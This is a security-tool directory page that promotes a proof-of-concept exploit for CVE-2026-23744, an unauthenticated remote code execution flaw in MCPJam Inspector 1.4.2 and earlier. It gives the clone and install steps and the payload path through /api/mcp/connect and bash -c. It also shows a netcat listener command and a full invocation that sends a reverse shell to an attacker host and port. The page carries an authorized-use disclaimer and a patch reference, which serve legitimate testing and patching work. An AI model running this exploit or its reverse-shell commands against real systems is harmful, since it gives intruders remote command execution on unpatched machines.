Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744 — Unauthenticated remote code execution proof-of-concept for CVE-2026-23744 targeting MCPJam Inspector. Generates crafted MCP serverConfig payloads to exploit /api/mcp/connect endpoint with reverse shell and dry-run debugging support. | Kitploit
Tools/GitHubGitHub/ozcanpng/cve-2026-23744
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubozcanpng/cve-2026-23744

CVE-2026-23744

Unauthenticated remote code execution proof-of-concept for CVE-2026-23744 targeting MCPJam Inspector. Generates crafted MCP serverConfig payloads to exploit /api/mcp/connect endpoint with reverse shell and dry-run debugging support.

1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE

Unauthenticated remote code execution PoC for CVE-2026-23744. MCPJam Inspector 1.4.2 and earlier expose functionality through /api/mcp/connect that can launch an attacker-controlled MCP server command without authentication.

For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.


What it does

root@kitploit:~
HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution
  1. Builds a crafted MCP serverConfig payload.
  2. Targets the unauthenticated /api/mcp/connect endpoint.
  3. Launches a configured command through bash -c.
  4. Supports safe command validation and reverse shell payloads.
  5. Provides dry-run/debug modes for payload inspection before sending traffic.

Screenshots

Reverse shell setup

Reverse shell setup

MCPJam connect payload

MCPJam connect payload

Shell received

Shell received


Setup

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

Usage

Safe command proof

root@kitploit:~
python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

Reverse shell

Start a listener first:

root@kitploit:~
rlwrap nc -lvnp 4444

Then run:

root@kitploit:~
python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

Useful options:

root@kitploit:~
--cmd COMMAND       Command to execute (default: id)
--server-id VALUE   serverId value in the crafted MCP config (default: pwn)
--dry-run           Build payload flow without sending the HTTP request
--debug             Print endpoint and JSON payload
--verify-tls        Verify HTTPS certificates
--timeout SECONDS   HTTP timeout in seconds (default: 8)
--yes               Skip reverse-shell confirmation prompt

Affected

ProductAffected VersionAccess RequiredImpact
MCPJam Inspector<= 1.4.2NoneRemote command execution as the MCPJam Inspector process user

The issue is especially exposed when MCPJam Inspector listens on 0.0.0.0, allowing remote hosts to reach the development service.


Notes

  • The PoC sends a JSON payload to /api/mcp/connect.
  • The command is passed through serverConfig.command and serverConfig.args.
  • Prefer --cmd for safe validation before attempting a reverse shell.
  • Use --dry-run --debug to inspect the generated request without touching a target.
  • Version 1.4.3 contains the upstream patch according to NVD.

References

  • NVD — CVE-2026-23744
  • GitHub Security Advisory — GHSA-232v-j27c-5pp6
  • Patch commit
  • MCPJam Inspector

PoC Author

ozcanpng — github.com/ozcanpng — ozcanpng.dev

Download Tool